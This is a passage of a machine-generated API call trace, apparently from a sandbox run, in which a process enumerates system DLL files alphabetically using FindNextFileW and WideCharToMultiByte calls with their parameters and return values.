ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x3ec120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x3ec288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0026.614] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x3ec288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x3ec288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0026.615] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x3ec288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.616] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.617] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, 